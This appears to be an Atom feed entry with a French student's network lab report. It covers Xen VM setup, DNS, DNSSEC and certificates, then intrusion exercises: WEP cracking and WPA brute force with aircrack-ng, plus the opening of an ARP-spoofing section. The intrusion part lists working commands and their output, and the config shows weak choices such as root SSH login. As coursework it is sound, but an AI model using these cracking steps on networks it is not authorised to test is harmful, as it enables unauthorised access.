<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lchenu</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lchenu"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Lchenu"/>
		<updated>2026-05-14T02:17:14Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=55290</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=55290"/>
				<updated>2021-01-11T12:09:52Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
L'objectif est de sécuriser www.lulya.space.&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
Pour valider cette étape, j'ai envoyé un mail par polytech mail, et je l'ai vu via la commande mailx.&lt;br /&gt;
&lt;br /&gt;
En rencontrant un problème, j'ai utilisé une commande servant d'outil de dépannage.&lt;br /&gt;
&lt;br /&gt;
  nano /etc/aliases&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
  newaliases /etc/aliases&lt;br /&gt;
J'envoie un nouveau mail mais à admin.&lt;br /&gt;
Grâce à mailx, on voit le mail, c'est mon certificat&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de clés.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
